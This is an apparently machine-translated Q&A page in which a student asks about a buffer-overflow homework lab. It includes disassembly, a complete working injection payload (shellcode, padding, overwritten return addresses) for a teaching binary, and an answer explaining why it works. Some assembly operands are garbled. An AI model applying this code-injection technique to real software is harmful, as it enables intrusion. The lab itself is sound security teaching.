缓冲区溢出的操作顺序 "attack"

Sequence of operations in buffer overflow "attack"

这是一个家庭作业,我已经有了答案,但不明白为什么它真的有效?

我需要做的是获取一个函数来执行 touch2() 的代码,而不是返回父函数 test()。此外,我必须让 touch2() 看起来好像我已将我的 cookie-id 作为其参数传递。

touch2()

的C表示
1.void touch2(unsigned val){
2.    if (val==cookie){
3.       //code that says I passed
4.    }
4.    else {
5.       //I failed
6.    }

test

的反汇编代码
0000000000401999 <test>:
401999: 48 83 ec 08             sub    [=12=]x8,%rsp
40199d: b8 00 00 00 00          mov    [=12=]x0,%eax
4019a2: e8 31 fe ff ff          callq  4017d8 <getbuf>
4019a7: 89 c2                   mov    %eax,%edx
4019a9: be a8 31 40 00          mov    [=12=]x4031a8,%esi
4019ae: bf 01 00 00 00          mov    [=12=]x1,%edi
4019b3: b8 00 00 00 00          mov    [=12=]x0,%eax
4019b8: e8 63 f4 ff ff          callq  400e20 <__printf_chk@plt>
4019bd: 48 83 c4 08             add    [=12=]x8,%rsp
4019c1: c3                      retq   

反汇编getbuf

00000000004017d8 <getbuf>:
4017d8: 48 83 ec 38             sub    [=13=]x38,%rsp
4017dc: 48 89 e7                mov    %rsp,%rdi
4017df: e8 7e 02 00 00          callq  401a62 <Gets>
4017e4: b8 01 00 00 00          mov    [=13=]x1,%eax
4017e9: 48 83 c4 38             add    [=13=]x38,%rsp
4017ed: c3                      retq  

我的解决方案:

48 c7 c7 f0 f7 dd 2c c3 /* assembly language inst. to set my rdi register and then return */
41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
d8 20 68 55 00 00 00 00 /* address for %rsp at 'Gets' --> this holds the input when you type in a string */
1a 18 40 00 00 00 00 00 /* address for touch2 */

我了解我的解决方案中需要填充,但仍有以下问题:

  1. 如果我将说明更改为在第一行以外的任何地方设置 %rdi,为什么我的解决方案不起作用?

  2. 如果 getbufreturn 位置持有 Gets 的地址,touch2() 如何被调用?

我使用 gdb 获取了 Gets 的地址:

(gdb) x/s $rsp
0x556820d8: "adlkfajsdlkfjaskldjfalksdjflasdkjflkasd" //string I typed into `Gets`
  1. 假设您将正确的地址放入堆栈(倒数第二行),它应该可以在任何地方工作。
  2. 您的漏洞利用代码以 RETc3)结尾。这将从堆栈中获取下一个地址并转到那里。由于您已将 touch2 的地址存储在堆栈中,因此它会去哪里。